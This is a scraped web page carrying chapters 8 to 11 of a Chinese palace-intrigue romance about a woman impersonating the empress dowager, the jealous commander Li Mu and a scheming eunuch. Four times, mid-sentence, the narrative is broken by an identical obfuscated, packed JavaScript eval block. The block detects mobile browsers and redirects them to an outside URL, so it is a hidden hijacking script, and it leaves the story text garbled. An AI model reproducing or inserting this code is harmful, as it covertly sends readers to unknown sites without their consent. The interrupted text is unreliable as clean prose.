不知为何,敷衍的话到了嘴边又停住,他并不想骗她,于是也没有否认,只说:“奴才记住了。” 得到他的承诺,她开心了,光着脚一蹦一蹦地回寝殿去了,那羸弱的身子裹在本就修身的宫装内,显得衣服里荡荡的。 梅景行想,她太瘦了,朱雪梅的衣服她穿着不合身,该给她准备新的宫装。 退出安宁宫后,梅景行回到司礼监。 见他回来,小太监们全都跪了下来迎他,一个个唤他掌印。 行至里间书房,几个红衣太监上前,伺候他洗手,给他奉茶,把他服侍得再熨帖不过。 梅景行喝完茶,刚坐下,抬了抬眉眼,便有人进来回话。 “干爹,儿子在辛者库找了个替死鬼,把人交给了李穆。那李穆可真是粗心,他居然看都不看一眼,就让我们把人抬走了。” 李穆命梅景行揪出在寝殿内燃催情香的人,梅景行便吩咐干儿子施翎去办此事。 梅景行淡淡道:“你以为他不知道?他是因为尝到了甜头,才愿给我个台阶。太后那边的事先搁置,观望一段时间再说。” 施翎担忧道:“但她不见大长公主,秦王便无法进京。大长公主那边说了很多难听的话!” “那又如何?难道她还能一直不见大长公主?” “儿子不明白,请干爹明示。” “大长公主若是连这点事都处理不好,她也不用再蹚这趟浑水了,安心待在公主颐养天年多好。秦王进京的事,你别操心了,让大长公主自己想办法。” 梅景行笑了笑,狭长的眸子里泛出冷冽的光:“另外,想办法让太后和舒弈见一面,最好让李穆的人瞧见。” 施翎和干爹已有多年默契,他很快明白梅景行的想法。 他嘿嘿一笑:“干爹,难道先帝这步棋果真走对了?李穆当真是个爱美人不爱江山的情种?若他愿意看在太后的份上,对陛下忠心耿耿,我们让秦王进京岂不是多此一举?” 梅景行淡淡瞥了他一眼:“看来你也是个情种。” “儿子可没那个心思。”施翎虽是太监,却也有一番雄心壮志:“男子汉大丈夫,当然要以建功立业、名留丹青为重。” “看来你还不算太蠢!不然我又要多花心思,再重新培养个干儿子,那多麻烦。” 施翎脸上的笑容消失,糟糕,干爹最厌蠢! 他好不容易得到干爹的信任和栽培,多少人眼红他这个位置,虽然干爹喜怒不定,很难被伺候,可他也跟着干爹得到了不少好处啊! 施翎知道自己说错话,连忙改口:“儿子认为,李穆对太后痴迷,不过是因为他现在还没得手。” 梅景行默认了他这番话,道:“可怜的李穆,肉到嘴边都吃不着,我们得大发善心,帮帮他才行!” 皇宫里,谁和谁遇见,都不是意外。 譬如朱凝眉去宣德殿看小皇帝时,刚好撞见了差点成为她姐夫的舒奕。 舒家和朱家是世交,朱雪梅入宫前,差点和舒弈订婚了。 那时朱凝眉住在朱雪梅的院子里,日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445704|185094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日都能等到舒奕给朱雪梅送礼时,捎带着送她的礼物,朱凝眉从小便喜欢舒奕来家里。可惜物是人非,一心想当将军夫人的朱雪梅入宫成了皇后,温柔的舒将军娶了暴脾气的福康县主为妻。 朱凝梅看见舒弈,眉眼弯弯,笑容也灿烂:“舒将军,好久不见。” 她一副要跟他叙旧情,拉家常的架势,这一刻她忘了自己的身份是太后。 舒弈却跪在地上,语气疏离:“微臣给太后请安。” 见舒奕这态度,朱凝眉也意识到,此时不该同他叙旧。 朱凝眉点点头,从他身边走过去了。 两人并未有其他交流,连眼神都没撞到一起,却如梅景行所料那般,有人添油加醋,将一对旧情人重逢的画面转述给李穆听。 李穆表面若无其事,却在批奏折时,捏断了好几支笔。 他没心情继续看奏折,抬步便往安宁宫走。 安宁宫内,梅景行抱着刚断奶的狗坐在朱凝眉对面,看她笑着用小勺子给小狗喂米糊。 “梅景行,它是不是还没断奶,哀家刚才给它根骨头,它都咬不断。离开母亲的小奶狗真可怜……” “它已经两个月,可以断奶了。” 朱凝眉正要说什么,直觉有人盯着自己,侧头一看,撞见李穆那双乌黑沉静的眼眸。 他脸上没什么表情,却摆明了他现在不太高兴。 她又没惹他,他凭什么在她面前板着脸? 真是莫名其妙。 “李穆,你来做什么?” “微臣来给太后请安。” 微臣、请安、说得好像很卑微似的。 果真卑微,何不跪下给太后行礼?却大咧咧地在靠窗的软榻上坐下,等着人去伺候他。 梅景行退出安宁宫寝殿,吩咐掌事宫女不用进去奉茶。 李穆双腿交叠着,散漫地坐在软榻上。 午后的阳光从树荫里洒落下来,星星点点地落在他俊朗的脸上和乌黑的发梢,显得这张脸格外俊朗:“太后娘娘刚才在梅景行面前笑得如此开心,怎么看见微臣便不笑了?” 也不照照镜子,谁看见他这张脸能高兴得起来。 “哀家刚才笑了?” “见到昔日的旧情人,也难怪会如此开心。” “什么旧情人,阴阳怪气,会不会好好说话?” 她瞪李穆一眼,故意冷落他,自顾自地拿出一本书。翻开刚看两行,才终于反应过来。她歪着头,嫣然浅笑道:“哦,你刚才是在说舒奕?” 8. 第 8 章 提到舒奕,那双杏眸忽然亮了起来,很是欢喜的样子。 李穆歪着身子懒洋洋地坐着,长腿架在软塌的案几上,看似漫不经心,其实已在心中捏断了一千支笔。 他想,若有一日,她跟旁人提起自己时,也能如此刻这般露出温柔的笑靥,他愿意用所有代价去交换。 白净的手指弯曲在脸颊,将垂下的一缕碎发拨至耳后。她捧着书,若有所思道:“舒将军的确风姿绰约,令人见之心悦,情难自禁。” “如何个情难自禁法?微臣愿闻其详。”李穆脸色黑沉,恨不得像捏断笔一样捏碎她的的脖子。 “你想听?可我却不想告诉你。与人相处,最忌交浅言深。”朱凝眉将书放下,拢了拢身上的薄披风,站到他面前,扬起下巴:“哀家乏了,你退下吧。” 她和他不熟,所以他连听她提起舒奕的资格都没有。 李穆恨不得掐她的脖子,啃得她浑身都是伤,用这种方法来惩罚她对自己的冷漠和绝情。 而她在见识过他的残忍和狠毒之后,就会跪在他面前祈求他的怜爱,再也不敢如此刻般猖狂。 朱凝眉看见李穆被自己气得脸色铁青。 他一直捏着拳头,拳头都捏得发白,望着她的眼神也很复杂,一会儿温柔,一会儿狠戾。 朱凝眉又开始担心起来,不由自主地想起他一刀斩断罗克己脖子的那个瞬间。 他应该不会杀她吧,她现在可是在认认真真扮演朱雪梅。 难道她演得不像吗? 朱雪梅不就是这样的吗? 她永远仰着头说话,平等的瞧不起任何人。 李穆日思夜想的,不是这样的朱雪梅吗? 他为什么生气? “微臣来了这么久,娘娘连一杯水都没舍得赏赐微臣。”李穆不肯离开,半阖的眸子里,藏着难以言说的消沉和萎靡,活脱脱就是个爱而不得的痴情种子。 朱凝眉默默欣赏着他俊俏的脸,一时都拿不准该继续气死他,还是该对他好点。 初夏的凉风从窗户吹了进来,将她披散在脑后的长发吹得凌乱。她随手将头发挽了个圆髻,用一根榉木枝雕的发钗固定住。 她不知自己这番动作,落在李穆眼中究竟是何种风情,就连发丝都透着妩媚,空气里弥漫着青丝在不经意间散发出的淡淡馨香。 朱凝梅稍作考虑后,决定她对李穆好一点,再继续气他。她毕竟是个假货,就算演得再真,也总有她自己难以察觉的纰漏。 李穆有权决定她全家的生死,她虽然偶尔觉得活着也没多大的意思,却从未想过要寻死。 她很想活着,哪怕痛苦的活着也总好过忽然一下就咽了气。 她在上大甲道观附近,办过很多场丧事,明白什么是死了,死了就是什么都没有了,从这世间彻底消失。 她下巴抬了抬,嗓音清脆:“哀家今日高兴,亲自煮茶给你喝。” 李穆愣愣地看着她,又看看外面的阳光,不敢相信她竟会亲自给自己煮茶。 她拿出一盒茶罐,笑着对他说:“这茶叶是我从宫外带来的,还不错,你肯定没喝过这么好的茶。” 这茶叶是她自己摘的,自己炒熟再揉成团,最后用枫子球的烟熏干。 上大甲附近的农家人都喜欢喝烟熏茶,一开始她也喝不惯那个烟熏味,可是喝习惯之后,再也离不开这个味道。这次她跟着大哥回京,别的东西都没带,只把观里的茶叶全都带走了。 也怕自己短时间内回不去,让茶叶发霉。这么好的东西,可不能糟蹋了。 朱凝眉煮茶的动作,利落得让人眼花缭乱。 她拿出点火石吹了吹,靠近木炭,那木炭便如她的奴仆一般,听话地燃了起来。她点燃炭火后,去净手,然后用热水把茶杯和茶壶洗干净,才开始煮茶。 李穆的眼神一直跟随着她轻盈的身影,等着水开,闻着茶香,整个过程十分享受。他甚至有种错觉,这样的场景,在他梦里已经发生过千百次。 他坦然地享受着她的服侍。 朱凝眉端着煮好的茶,递给他。 “茶怎么样,好喝吗?” “好喝。希望微臣下次来时,还能喝到这样的好茶。” “做梦吧,梦里什么都有。”朱凝眉冷哼一声,笑他痴心妄想。 喝完这杯茶,李穆心里的火,总算灭了一半。 但舒奕的事,他必须一次问个清楚,免得日后这把火再次烧起来,毁了这梦境一般的平静。 “我想知道你对舒将军,有何见解。” 朱凝眉想起了陆憺那番驯狗的话,觉得时机很好,她用一杯茶把李穆哄好了,又可以接着气一气他。 朱凝眉给他续茶,故意“唉”了一声,睁大一双水汪汪的眼睛:“我还是不说了吧,一会儿你听了又要乱发脾气。我可不知道怎么哄你。” 话虽如此,她嗓音懒懒的,把“哀家”换成了“我”,已然将李穆哄得心花怒放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445705|185094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “说说吧,我想听,我不会生气。” “真的?”她眨了眨眼睛,谈到舒奕时,眼底仿佛落满星光:“我和舒奕三四岁便认识,算是青梅竹马。我们一起念书,同时开蒙,他背书卡壳时我在先生身后给他暗示,他也很欣赏我写的文章。偏偏夫子眼光极高,总是将把我写的文章挑剔得一无是处。下了学,我和舒奕就躲在花园的假山后面一起埋怨夫子……” 她边说着话,也不忘记给他续茶。 李穆默默喝着第三杯茶,心里那堆刚熄灭的火焰,再次燃了起来。 她的话,一句一句,像是往他身体里灌了一桶桶火油,将他心里那把火焰烧得遮天蔽日,浓烟滚滚;将他烧得面目全非,扭曲焦灼。 可她对此毫无知觉,还在温柔地叙述着她和舒奕的往事。、 “可惜那样的日子一去不返了,如今我已成寡妇,他也是长公主的女婿,故人相遇,却只能避嫌。不过,就算是看他一眼,我也很开心。” “福康郡主真有好福气啊,能嫁给这样一位温柔体贴、善解人意的夫婿,大家都很羡慕她呢。” “舒奕被你如此抬举,是他的福气。”李穆定定地看着她,克制着体内的浓烟和焦灼,语气淡然:“在你心里,我算什么呢?” “算……姘头?”她伸出白皙的手,冰凉的指尖划过他的手背,像个妖精似的在哄他:“李穆,还没谢谢你呢。因为你的关照,这几日我和陛下都过得很舒心。你给我的体面,足以让我这个无依无靠、无权无势的寡妇,重新得到所有人的尊重。” 李穆闭上眼睛,感受着她冰凉手指在他身上留下的温度。 他羽睫轻颤,喉结微动,无声地吞下哽咽。 她的手指,一触即离:“你应该明白,对我而言,尊重和体面比我的性命更重要。我这个人,最怕吃苦头,你让我避免了很多吃苦头的机会,我该报答你。” 他睁开血红的眼睛,嘴角露出残酷的笑,语气克制而冷静:“让我李穆给你做姘头?你胆子可真大。” 她温柔浅笑:“你从进来到现在,一直在生气,难道就只是因为我和舒奕打了个招呼?李穆,你在吃醋?你这样的人,居然也会吃醋。” “别笑了,你再笑一次试试?信不信老子立刻办了你!” 他凑过来,掐着她的下巴,表情狠戾。 朱凝眉不知道他为什么又发疯,但她已经掌握好分寸,在他威胁自己时,适当的挤出了几滴眼泪。 9. 第 9 章 她的眼泪,换来李穆短暂的沉默。 如鹰隼般锐利的目光透着寒芒,洞察她脸上所有的细微表情。 在战场多年锤炼出来的生存直觉在他脑海里敲响警钟,那念头一旦形成,便如同鱼从水中迸出,击穿了薄薄的冰层,让湖面失去一切屏障。 他将她看得真真切切。 李穆已经逼着自己如何掩藏情绪,佯装温和。 但伪装的好脾气并不代表他没有脾气。 他咬紧牙关,努力克制着怒意——她怎敢肆无忌惮地戏弄他,看他笑话? 因为他从前是朱家的马夫? 因为他粗鄙不堪? 因为他甘愿供她奴役? 她的心思并不复杂,她明知他掌握着皇宫里所有人的生死还故意忽略他,对他冷漠和无视。 她明知他对她的爱意沸腾得要从心腔子里溢出来,却还在他面前用狡猾的语调,若无其事地提起她和舒奕的往事。 他就只配当个姘头吗? 她眼角里噙着泪,眼尾却藏着嘲笑,像一只狡黠的狐狸用爪子捂着嘴在看他闹笑话。 她为什么如此狠心? 她对旁人的温柔和善,不能施舍他一丁点吗? 手指带着惩罚的力度,重重擦过她的眼角。 手掌环绕她的脖颈,捧着她的头,就像捧着他在战场上砍下来的人头一样,他狠狠盯着她的眼睛。 朱凝眉开始有些紧张,她的眼泪对李穆无用。 李穆发疯似的道:“你跟老子说话,从来都没有笑脸,对着舒奕却笑得如此开心,老子难道不该吃醋?” “你为什么不对老子笑?你跟梅景行说话,从来都是客客气气的!” “你最好搞清楚,老子是李穆,老子从尸山血海里摸爬滚打着走出来,捧着一颗真心来到你面前,你却跟老子玩心眼,你简直不知好歹。” 看来他真的很介意姐姐和舒奕之间的往事,都已经过去这么久了,这两人一个住在宫里,一个住在宫外,十几年都不能联系。 这样的旧情敌,对他又有什么威胁呢? 梅景行就更不用说了,他是个太监啊!对太监笑一笑又不会怀孕。 李穆不再说话。 李穆强行将她揽到他身上,她的额头被迫贴着李穆的脖颈和锁骨。 她听到他沉重的呼吸声,如波涛一般起伏的呼吸声。 他在说完一堆狠话之后,温柔地轻吻她的发丝。 李穆真的很爱姐姐! 记得从前她和李穆相处时,李穆对她很好,就算有时候脾气上来了,只要她鼓着腮帮子冒出几滴泪,他就不会再生气。 可是现在的李穆却因为爱而不得,变得阴晴不定!挺可怜的。 不过,她没有资格怜悯李穆。 李穆掌管着禁军控制着众人的生死,而她却只是被兄长送进宫里来安抚他情绪的替身。 这样一对比,她比李穆可怜多了。 “李穆,你是我什么人呢?”她声音脆甜,说话的语调却像一把凌迟的刀,刀刀都往他肺管子上戳。 她就是喜欢看他被气得吐血的模样,他越惨,她心里便越痛快! 她用力推开他,仰着头,用一双清亮的眸子盯着他,语气咄咄逼人:“我是你明媒正娶的妻子吗?我应该为你保持贞洁吗?你想见我的时候,可以不经允许踏入安宁宫;你不想见我的时候,我就像是你弃之不用、束之高阁的旧马鞭。” “你凭什么以为我会稀罕你那颗不值钱的真心?我对梅景行客客气气,是因为他给了我应有的尊严。你呢?你把我囚禁在深宫里,还指望我对你笑?你配吗?” “还有,你忘了自己家里的夫人和孩子了吗?你自己三妻四妾、左右拥抱,却不许我一个深宫里的寂寞寡妇找点乐子。李穆,你讲理吗?” 她永远高高在上,哪怕眼里噙着泪,语气也要咄咄逼人。 她说自己被囚,可她这态度,哪里像个囚犯? 哪有囚犯如她这般嚣张跋扈,胆敢掷地有声地要求他做个讲理的人。下位者才需要讲理,上位者从来只规范讲理的准则。 可惜,在旁人面前,他是上位者;在她面前,他永远是下位者。 李穆头脑清醒了,沙哑着嗓子道:“这世上除了你,还有哪个女人需要老子低声下气地哄!” 他伸出手,轻轻碰触刚才被他用力擦红的眼角。 指尖传来的柔软触觉,她的肌肤像奶豆腐皮一样嫩,欺霜赛雪,薄得轻轻一碰就会碎。 他责备自己刚才下手没轻没重。 “我的妻子夏芍,原是你们朱家二小姐的贴身丫鬟。五年前,朱家二小姐在嫁给我的第二日便向我提出和离,二小姐嫌弃我是个粗鄙的马夫,不肯给我当妻子。” “当年,我在新婚第二日被二小姐抛弃,以至于我和我麾下的人都被嘲笑。我急需一个妻子来撑门面,夏芍她不嫌弃我,愿意嫁给我这个莽夫,我对她心存感激。无论如何,我这辈子都不会抛弃她!” 李穆低声下气的解释并没有换来朱凝眉的原谅,她现在满脑子只想着掐死他。 这个混蛋,红口白牙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445706|185094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的冤枉她! 她什么时候嫌弃过他是个粗鄙的马夫?她与他和离的原因,分明是他不爱她,只把她当作姐姐的替身。 她提醒自己,不能在这种时候暴露身份。 她理解李穆为何撒谎。这世间,有哪位男子愿意在心仪的女子面前,主动暴露往日的过错和污点? 好在她已经长大了,她不再介意旁人对自己的忽视和利用。 她不再主动向人展示伤口,因为她早已经学会如何给自己疗伤。 朱凝眉郑重其事地告诉他:“朱家二小姐从来就没有嫌弃过你……” “算了,那都是过去的事,我不想提她。”李穆的语气,听起来就令人不适。 他有什么可委屈的呢? 与李穆和离后的第五个月,她才发现自己有孕,孩子月份大了,不好打下来。况且当时的她已入道,不能杀生。 她一个人在上大甲道观生孩子,身旁没有亲人,只有听不懂方言的接生婆。她和接生婆鸡同鸭讲,完全无法沟通,差点血崩死在那个晚上。 她生完孩子后,每次来月事都血流不止,躺在床上痛得死去活来。 凭什么他说不提就不提? 自古以来,婚姻之事受苦的总是女子,李穆与她和离后,连一根头发丝都没伤到。 他家里有娇妻美妾环绕,宫里还有姘头让他调戏,日子过得潇洒极了,他有什么不满足呢? 朱凝眉心里有万般痛苦却说不出来,只能用力抓住他的手,在他虎口处狠狠咬上一口。 李穆疼得倒吸一口凉气。 疼吗?可这点疼痛远不及她遭受的万分之一呢! 入宫之前,她觉得自己虽然恨李穆,却不想伤害他,但她现在改变了想法:李穆,从今以后,我将竭尽全力让你不得安宁! 李穆任由她抓住自己的手,露出像狼崽子一样秀气的牙。 虎口处传来一阵尖锐的疼痛。 这点痛,算什么呢? 他在战场上被人开膛破肚的时候比这痛得多。他得忍着疼痛和恐惧,把肠子塞回肚里,再用衣服绑住自己,咬牙坚持住,拿着刀继续杀人! 他皱着眉,任由皮肤被她咬破,渗出血来。 “呕呜——” 这是朱凝眉的老毛病。 她总是无法自控的忽然呕吐:伤心难过的时候;饿得饥肠辘辘却不自知的时候;在她忍痛把孩子送走后,孤独地躺在冷冰冰的道观时。 胃里传来阵阵抽搐,紧接着是翻江倒海的疼。 李穆担忧地看着她。 10. 第 10 章 安宁殿小花园的海棠树下,风一吹,花瓣就如雨点般落了下来,梅景行抱着小狗,看着漫天飘洒的花瓣,嘴角露出笑意。 洒扫的宫女见他心情很好,忍不住多看了他几眼。 掌印五官深邃,气质和神情都不似阉宦,他比那些清雅闲散的世家公子还多了几分书卷气。 宫里的姑姑们都想找他当对食,却又自惭形秽,认为自己配不上他。 这些姑姑们,也只敢像她一样,站在远处偷偷多看他几眼。 他掀起眼帘,神色温润,并不会让人感到紧张,唇角还带着温柔的浅笑:“看我做什么?我脸上有脏东西吗?” 洒扫宫女低头回答:“不是,奴才很少看到掌印大人的笑容,有些激动。” “我笑了吗?”梅景行笑了笑,手指轻轻抚摸着小狗的脑袋,吩咐一旁的小太监:“去,吩咐小厨房,多备些热水。” 小太监不明白:“现在还未入夜,要热水做什么?” 梅景行难得好脾气,没有厌蠢,只是轻声叮嘱:“多做事,少打听,才能在宫里活得长久。” 说完,他侧过头,看向寝殿里那扇打开的窗。 朱凝眉不确定自己现在是什么模样,哭花了妆容,能有多好看? 考虑到她得在大哥把姐姐找回来之前,靠这张脸哄着李穆,于是她擦擦眼泪,她侧过身体,用帕子挡住脸。 “你走吧,我不想看到你。” 说话时嗓音哽咽,还打了个哭嗝。 李穆看她还在纠结这种无关紧要的小事,气得把遮在她脸上的帕子扯了下来,深深叹道:“我又不是先帝,我不在乎你现在是什么模样。别用帕子捂着脸,当心把你自己给闷坏了!” 朱凝眉不信,把帕子夺回来,继续遮脸。 李穆烦躁得在房间里来回踱步,见她不肯搭理自己,更加气恼,暴躁地向她赌咒发誓:“若我李穆因你生病难受而嫌弃你,就让老天爷下雨打雷的时候,把我劈死!” 谁信他呢? 朱凝眉继续不理他。 李穆压下烦躁的情绪,道:“我去把太医找来。” 听见他要去找太医,朱凝眉着急道:“你不用去找太医,我是被你气得吐了。你现在马上就滚,只要看不见你,我不会生气……李穆,我恨你……总有一天,你施加在我身上的所有痛苦,我要千百倍地偿还给你。” 李穆没听懂这话,见她眼尾赤红,声音洪亮,不像生病的模样,这才放心了些。 从前看她总是冷冰冰的样子,哪里能想到,她私下里竟然如此骄纵。 都是先帝把她给惯成这样的。 李穆转念又想,先帝纵她,他不能吗? 罢了,他堂堂男子汉,何必要跟个小女子较真? 只要她别生气,他现在就走。 他退出安宁殿,吩咐梅景行去找太医来给她请平安脉,给她调理身子。 见李穆从寝殿里退了出来,梅景行诧异至极。 喂到嘴边的肉他都吃不着,李穆可真是没用! 难道他从前打仗的时候伤了子孙根,那方面不行? 梅景行听完李穆的吩咐,再次看向那扇窗,立即否定之前的想法。 是李穆道行太浅,玩不过人家。 李穆这一走,连着十日没再踏入安宁宫。 朱凝眉暗自思忖,那日她额头上有疤,还在李穆面前丑态频出,让他见到自己最糟糕的模样。他是不是被吓着了? 她忽然一笑,想起李穆那日赌咒发誓的模样,开始盼着老天爷打雷。 老天爷最好跟她一条心,看不惯他信誓旦旦地说假话,打雷劈死他! 因为太后额头受伤需要静养,今年宫里取消了端午盛宴。 五月二十日,是李穆正妻夏芍的生辰,李穆在府中举办盛宴为妻子庆生,邀请了京城内有头有脸的人参加。 夏芍怕她在宫里闷得慌,也给她递了帖子。 太后尚在孝期,朱凝眉没有仔细打扮,但送给夏芍的礼物却没含糊。 毕竟她现在是太后,可以假公济私地把宫里最值钱的玩意,借着太后给忠勇侯夫人庆贺生辰的名义,送到夏芍手里。 准备妥当之后,朱凝眉打了个哈欠,准备出发。 一脚迈出安宁宫高高的门槛时,她脑子里还在想着夏芍会不会喜欢她准备的礼物,直到她迷迷糊糊地坐上马车后,才发现马车里竟然多了个人。 朱凝眉现在都拿不准该继续惹怒他、刺痛他、看他失态;还是该对他好点。 这些日子李穆虽然没有来,却不断听见小宫女们在她耳边不经意地闲聊,说起李穆曾经收复北疆的一些英雄事迹。 她又想起五年前和李穆圆房的记忆,当时看到他身上那些累累伤痕,她心疼得哭了好久,李穆也抱着她哄了好久。 朱凝眉无聊地啃起了自己的大拇指,和上次见他时的心情不同,她恍恍惚惚地觉得,自己好像是仗势欺人的坏女人。 李穆把她的手从嘴里拿出来,平静地问:“娘娘昨夜没睡好吗?从宫里到忠勇侯府用不到半个时辰,娘娘若是没睡醒,可以睡一觉再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445707|185094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。” 李穆语气卑谦,双目低垂,人模人样得有些不正常! 在马车内近距离看着他那张还算俊俏的脸,听他用这种蛊惑人心的语调说话,朱凝眉只能逼着自己把他做过的坏事都想一遍,才能继续对他板着脸,说:“不用了!” 一路上,朱凝眉目不斜视,心里却在犯嘀咕。 他怎么狗模人样的,不当狗想当人了? 还是他心里又憋着坏? 今日是夏芍生辰,她看在夏芍的份上,给他几分体面,不同他闹。 朱凝眉静心打坐,消除杂念,这一路与李穆相安无事。 忠勇侯府。 盛装打扮的夏芍,领着一众贵仆在门外迎客。 她见李穆先下马车,再扶着朱凝眉从马车上下来,眼神稍作停顿。 片刻后,她笑着走上前,跪下磕头。 礼毕,她才道:“昨日我就跟侯爷说了不过生辰。可侯爷偏不听我的,非要大张旗鼓地给我庆祝。没承想惊动了太后娘娘,真是罪该万死!” 朱凝眉愣了愣,不是夏芍请她来的? 也对,如今人人都知道李穆对太后爱得疯狂,多少人等着看笑话。 夏芍胆小,别人瞪她一眼,都会被吓得整宿谁不着。 她这么胆小,怎敢主动邀请太后来忠勇侯府,任由旁人打量? 这定是李穆的主意,他为什么这么做? 朱凝眉侧头看了一眼李穆,只见他神色淡淡地交代夏芍:“太后能来为你庆贺生辰,是你的福气。你受着就行。你伺候好太后,我去前面招待男宾。” 等李穆走了,朱凝眉才挽着夏芍的手,问:“你过生辰,怎么还有男宾?” 夏芍道:“宾客都是他请来的,我什么都不管,只管收礼就行。” 朱凝眉正想说,她从姐姐的库房里捡了许多好东西,给夏芍当生辰贺礼。 但她还没来得及说出这番话,就见夏芍蹙眉:“怪我我睡得太沉,侯爷什么时候起来的都不知道。他精力可真好,把我折腾一整夜还不嫌累,居然大清早就进宫去了。” 说完,夏芍刻意拢了拢袖子,把手腕上的瘀痕给遮起来。 李穆那方面需求旺盛,喜欢在床上折腾人,朱凝眉也被他折腾过。 但夏芍为什么在她面前炫耀? 朱凝眉心里难受,夏芍变了,居然跟她玩起心眼子。 死丫头! 她恶作剧地撩开夏芍的领子,盯着她脖子上的红痕,道:“李穆真是畜生!你这小身板,吃得消吗?” 11. 第 11 章 夏芍羞涩地推开朱凝眉的手,留意朱凝眉脸上的神情,只见她波澜不惊,笑容戏谑,在听到她和李穆的床事后也没有任何情绪。 夏芍感到诧异。 因为在夏芍的记忆里,朱凝眉满心满眼都是李穆,但凡他多看别的女子一眼,朱凝眉都会气得吃不下饭,哭着跟李穆闹脾气。 李穆低声下气地哄她,还会被她用指甲挠花脸。 丫鬟们私底下都在笑话小姐是醋缸子,还说她脾气这么大,李穆早晚有一天忍不了她要狠狠教训她。 世事难料,没想到才五年不见,小姐就像变了个人似的。 夏芍不信她完全放下了李穆。 李穆是她用尽全力爱过的人,怎会说不爱就不爱? 可是若她还爱着李穆,又怎能毫无芥蒂地扮演太后? 不过,小姐进宫当太后,是件好事。李穆越爱朱雪梅,小姐就会越恨他。只有小姐和李穆再无瓜葛,她这忠勇侯夫人的位置才能坐得稳当。 夏芍领着朱凝眉进入厅堂,衣裳华丽的命妇官眷们见到太后,立即起身向太后行肃拜礼。 几乎所有权贵家眷都在给太后请安。 朱凝眉微笑着叫她们起身,然后看向大长公主和她的女儿福康县主,只有她们两个没有向太后行礼。 大长公主仗着年纪大,不便下跪,可以理解。 但福康县主居然也目中无人,生怕旁人不知道她懒得敷衍太后似的。 朱凝眉笑了笑,看来这两母女,是冲她来的! 她从前没少听嫂嫂说起过这两母女的事,大长公主擅长笼络人心,每届科举考试之前,她都会暗中打听哪些寒门学子最有可能中举,然后在他们中举之前,就花重金资助他们。 一旦这些人里面有人鱼跃龙门,大长公主便会帮他们牵线搭桥,将他们举荐到有实权的衙门为官。 长此以往,朝中大部分官员都与她有利益纠葛。 但她并非良善之辈。 她最擅长欺凌弱小,行阴鸷之事。 寒门学子中亦有铮铮铁骨不愿助纣为略,拒绝她的资助,却被她用极其残忍的手段处死。 有人偷偷将她的恶毒行径撰写成诗广为传颂,让她丢脸。 可大长公主凭着她的人脉,掘地三尺地找到写诗之人,然后将他的十根手指都剁了,打断他的腿骨,让他从此只能爬着向人乞讨求生。 先帝也曾对她不满,但念在手足之情,也只是训斥她几句,罚她半年不许出门。 有先帝管束着,后来她也不敢再放肆。 如今先帝去世了,没人管她,她又开始肆无忌惮了起来。 从前朱雪梅也曾经吃过大长公主的哑巴亏,大长公主口才不如朱雪梅,也揪不出她的错处,于是常借着进宫拜见皇后的机会,以宫女太监行礼不够标准、茶水太烫、说话声音太大为由,动辄对宫女太监掌掴、罚跪、殴打。 朱雪梅虽生气,却不愿因这些小事去找先帝告状,只能哑巴吞黄连,事后再用银钱补偿那些受罪的太监宫女们。 大长公主不给她行礼,朱凝眉也懒得理她,权当她今日不在。 只要她不尴尬,尴尬的就是大长公主。 夏芍领着朱凝眉款款前行,请她坐在宴席主位。 朱凝眉坐下后,与其他命妇聊得热络的举动,让大长公主更加窝火。 先前大长公主往宫里递过几次拜帖,每回太后都以身体不好为由,拒绝见她,所以她才不起身请安。 可太后居然没看出她在发脾气,还故意装瞎看不见她,完全不搭理她,大长公主更生气了! 她把手中茶盏重重往桌上一搁,抬高声音道:“夏夫人,你虽是婢女出身,但这些年也学了不少礼仪规矩。你身为三品命妇,怎敢与太后并行?” “按照宫规,你应离在太后身后三步低头行走。没想到你年纪轻轻,竟然仗着忠勇侯的威风,完全不将太后放在眼里!” 大长公主一双眼睛,紧紧盯着夏芍,眼尾上扬,使她本就有些狰狞的面目越发凌厉。 多年前,夏芍跟着朱凝眉参加过不少宴会,也见过大长公主在宴会上把她不喜欢的人变成人彘,夏芍对大长公主的恐惧早已深入骨髓。 